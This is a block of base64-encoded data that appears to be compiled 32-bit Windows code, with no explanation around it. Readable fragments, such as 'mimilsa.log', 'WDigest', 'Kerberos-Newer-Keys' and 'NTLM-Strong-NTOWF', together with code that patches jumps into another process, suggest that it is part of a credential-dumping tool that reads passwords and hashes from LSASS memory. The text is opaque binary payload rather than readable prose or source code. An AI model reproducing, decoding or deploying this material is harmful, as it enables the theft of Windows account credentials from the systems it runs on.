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/9lAHIAx4Xw/v//LQBLAMeF9P7//2UAeQDHhfj+//9zAAAAx4X8/v//TgBUAMeFAP///0wATQDHhQT///8tAFMAx4UI////dAByAMeFDP///28AbgDHhRD///9nAC0Ax4UU////TgBUAMeFGP///08AVwDHhRz///9GAAAAM8CJhSD///9qElhmiUW0ahJYZolFto2FXP7//4lFuGoOWGaJRbxqDlhmiUW+jYWE/v//iUXAahBYZolFxGoQWGaJRcaNhaz+//+JRchqJlhmiUXMaiZYZolFzo2F1P7//4lF0GoiWGaJRdRqIlhmiUXWjYX8/v//iUXYagFoAAAAEI1F3FBqALhBQUFB/9CFwA+MFQQAAI1F4FCLRQiDwCBQaAAAABD/ddy4RERERP/QhcAPjOgDAACNRfBQi0UI/3AYaAAAABD/deC4RUVFRf/QhcAPjLwDAACDZfwA6weLRfxAiUX8g338Bg+DfwIAAGtF/BiDpAU4////AGtF/BiDpAUo////AGtF/BiLTfyJjAUk////a0X8GMeEBTT///+AAAAAg338AHQ6a0X8GI2EBSj///9Qa0X8GI2EBTj///9Qi0X8jUTFrFD/dfC4Q0NDQ//Qa038GImEDTT////pygEAAI1F+FBqFf918LhGRkZG/9BrTfwYiYQNNP///2tF/BiDvAU0////AA+MnQEAAItF+A+2gMMAAACFwHQPi0X4D7eAkAAAAIlF7OsEg2XsAItF7IPAKGtN/BiJhA0o////a0X8GP+0BSj///9qQLhNTU1N/9CJRehrRfwYi03oiYwFOP///4N96AAPhDABAACLRfgPtoDAAAAAhcB0TotF+A+3gIAAAACD+BB1P4tF+IO4hAAAAAB0M2tF/BiLhAU4////xkAhAWoQi0X4/7CEAAAAa0X8GIuEBTj///+DwBBQuExMTEz/0IPEDItF+A+2gMEAAACFwHRKi0X4D7eAiAAAAIP4EHU7i0X4g7iMAAAAAHQva0X8GIuEBTj////GQCABahCLRfj/sIwAAABrRfwY/7QFOP///7hMTExM/9CDxAyLRfgPtoDDAAAAhcB0botF+A+3gJAAAACFwHRgi0X4g7iUAAAAAHRUa0X8GIuEBTj////GQCMBa0X8GIuEBTj///+LTfgPt4mQAAAAiUgki0X4D7eAkAAAAFCLRfj/s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